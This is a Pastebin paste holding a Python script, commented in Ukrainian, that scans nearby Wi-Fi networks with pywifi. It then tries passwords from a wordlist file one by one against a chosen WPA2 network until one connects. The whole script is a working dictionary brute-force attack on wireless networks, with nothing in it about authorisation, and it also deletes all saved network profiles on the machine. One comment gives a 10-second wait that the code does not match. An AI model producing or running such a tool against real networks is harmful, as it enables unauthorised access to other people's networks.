Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pywifi
- from pywifi import const
- import sys
- sys.stdout.reconfigure(encoding='utf-8')
- def scan_wifi_networks():
- wifi = pywifi.PyWiFi() # Ініціалізуємо об'єкт PyWiFi
- iface = wifi.interfaces()[0] # Отримуємо перший доступний інтерфейс
- iface.scan() # Скануємо доступні бездротові мережі
- networks = iface.scan_results()
- ssid_list = []
- for network in networks:
- ssid = network.ssid
- ssid_list.append(ssid)
- return ssid_list
- def connect_to_wifi(ssid, password):
- wifi = pywifi.PyWiFi() # Ініціалізуємо об'єкт PyWiFi
- iface = wifi.interfaces()[0] # Отримуємо перший доступний інтерфейс
- iface.disconnect() # Відключаємо від поточної мережі
- profile = pywifi.Profile() # Створюємо профіль для нової мережі
- profile.ssid = ssid # Встановлюємо назву (SSID) мережі
- profile.auth = const.AUTH_ALG_OPEN # Встановлюємо алгоритм автентифікації
- profile.akm.append(const.AKM_TYPE_WPA2PSK) # Встановлюємо тип автентифікації
- profile.cipher = const.CIPHER_TYPE_CCMP # Встановлюємо тип шифрування
- profile.key = password # Встановлюємо пароль для мережі
- iface.remove_all_network_profiles() # Видаляємо всі збережені профілі
- tmp_profile = iface.add_network_profile(profile) # Додаємо новий профіль
- iface.connect(tmp_profile) # Підключаємося до мережі
- # Очікуємо 10 секунд на успішне підключення
- # Можна збільшити або зменшити цей час за потреби
- import time
- time.sleep(2)
- if iface.status() == const.IFACE_CONNECTED:
- print("Підключення успішне!")
- return True
- else:
- print("Не вдалося підключитися до мережі.")
- return False
- # Зчитуємо паролі з файлу txt
- def read_passwords_from_file(filename):
- passwords = []
- with open(filename, 'r', encoding='utf-8') as file:
- for line in file:
- password = line.strip()
- passwords.append(password)
- return passwords
- # Отримуємо список доступних мереж
- networks = scan_wifi_networks()
- print("Доступні мережі:")
- for i, ssid in enumerate(networks, start=1):
- print(f"{i}. {ssid}")
- selected_network = int(input("Виберіть номер мережі для підключення: "))
- selected_ssid = networks[selected_network - 1]
- passwords = read_passwords_from_file("ps.txt")
- connected = False
- for password in passwords:
- print(f"Спроба підключення до мережі {selected_ssid} з паролем {password}")
- connected = connect_to_wifi(selected_ssid, password)
- if connected:
- break
- if not connected:
- print("Не вдалося підключитися до мережі з усіма доступними паролями.")
Add Comment
Please, Sign In to add comment